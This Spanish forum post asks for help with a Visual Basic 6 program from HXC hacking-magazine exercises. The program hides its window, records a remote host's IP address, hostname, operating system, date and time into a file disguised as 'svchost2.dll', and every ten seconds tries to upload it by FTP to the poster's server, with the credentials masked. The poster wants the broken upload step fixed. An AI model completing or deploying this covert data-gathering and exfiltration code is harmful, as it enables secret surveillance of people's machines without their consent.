Mensajes

Perdon , es verdad  ahora edito

Muy buenas a todos, estoy haciendo las prácticas de las revistas HXC, y estoy intentando terminar el programa IPHXC, k te manda la IP, el nombre del pc y el SO k utiliza un host remoto a un server FTP k tu le hayas indicado.

Creo k lo he hecho todo bien, y en teoría cada 10 s me tendría que mandar a un server ftp un archivo con esos datos, pero no lo hace, únicamente me lo crea en la carpeta donde está alojado el proyecto. LO he revisado muchas veces y parece que too está bien, a ver si alguien conj conocimienos me pudiese ayudar.

Gracias de antemano, ahí va el código:

Código [Seleccionar] Expandir

Dim Ti 'declaramos la variable

Private Sub Form_Load()

On Error GoTo Error 'Hacemos k salte a "Error:"

Form1.Visible = False 'Hacemos k sea "invisible" ^^

Timer1.Interval = 1000  'El timer se completa en 1 s.
Ti = 0  'Ti al principio es igual a 0

Error:

End Sub


Private Sub Command1_Click()

On Error GoTo Error 'Hacemos k salte a "Error:"

Ti = Ti + 1 'le sumamos 1
Label1.Caption = Ti 'hacemos que label muestre en el caption el valor de Ti

If Ti = 10 Then 'Si Ti es igual a 10 haz esto, sino sigue el programa

Open ("svchost2.dll") For Output As #1 'acción a ejecutar si se cumple la condición.

Print #1, "Ip del host", Winsock1.LocalIP   'IP del host
Print #1, "Nombre del host", Winsock1.LocalHostName  'Nombre del host
Print #1, "SO del host", SysInfo1.OSPlatform 'V. de win2 del host
Print #1, Date 'Fecha
Print #1, Time 'HOra

Close #1

Inet1.Execute "ftp://xxxxx:xxxxxx@erqox.iespana.es/", "PUT svchost2.dll" & Winsock.LocalHostName & ".txt" 'Hacemos que nos mande el archivo a nuestra cuenta FTP

Ti = 0 'Hacemos que Ti vuelva a ser 0


End If  'Fin del bucle de decisión.

Error:

End Sub

Private Sub Timer1_Timer()

On Error GoTo Error 'Hacemos k salte a "Error:"

Call Command1_Click    'Llama al command1 cuando se complete el timer

Error:

End Sub